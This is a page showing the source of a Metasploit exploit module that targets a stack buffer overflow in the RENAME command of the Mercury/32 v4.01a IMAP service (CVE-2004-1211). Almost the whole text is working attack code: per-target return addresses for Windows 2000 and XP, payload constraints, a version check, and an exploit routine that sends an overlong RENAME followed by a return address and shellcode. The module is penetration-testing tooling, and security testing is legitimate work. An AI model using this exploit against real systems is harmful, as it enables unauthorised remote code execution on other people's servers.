CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/imap/mercury_rename.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Imap
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Mercury/32 v4.01a IMAP RENAME Buffer Overflow',
14
'Description' => %q{
15
This module exploits a stack buffer overflow vulnerability in the
16
Mercury/32 v.4.01a IMAP service.
17
},
18
'Author' => [ 'MC' ],
19
'License' => MSF_LICENSE,
20
'References' =>
21
[
22
[ 'CVE', '2004-1211'],
23
[ 'OSVDB', '12508'],
24
[ 'BID', '11775'],
25
[ 'URL', 'http://www.nessus.org/plugins/index.php?view=single&id=15867'],
26
],
27
'Privileged' => true,
28
'DefaultOptions' =>
29
{
30
'EXITFUNC' => 'process',
31
},
32
'Payload' =>
33
{
34
'Space' => 500,
35
'BadChars' => "\x00\x0a\x0d\x20",
36
'StackAdjustment' => -3500,
37
},
38
'Platform' => 'win',
39
'Targets' =>
40
[
41
['Windows 2000 SP4 English', { 'Ret' => 0x7846107b }],
42
['Windows XP Pro SP0 English', { 'Ret' => 0x77dc0df0 }],
43
['Windows XP Pro SP1 English', { 'Ret' => 0x77e53877 }],
44
],
45
'DisclosureDate' => '2004-11-29'))
46
end
47
48
def check
49
connect
50
resp = sock.get_once
51
disconnect
52
53
if (resp =~ /Mercury\/32 v4\.01a/)
54
return Exploit::CheckCode::Appears
55
end
56
return Exploit::CheckCode::Safe
57
end
58
59
def exploit
60
connect_login
61
62
sploit = "a001 RENAME " + rand_text_alpha_upper(260)
63
sploit << [target.ret].pack('V') + payload.encoded
64
65
sock.put(sploit)
66
67
handler
68
disconnect
69
end
70
end
71
72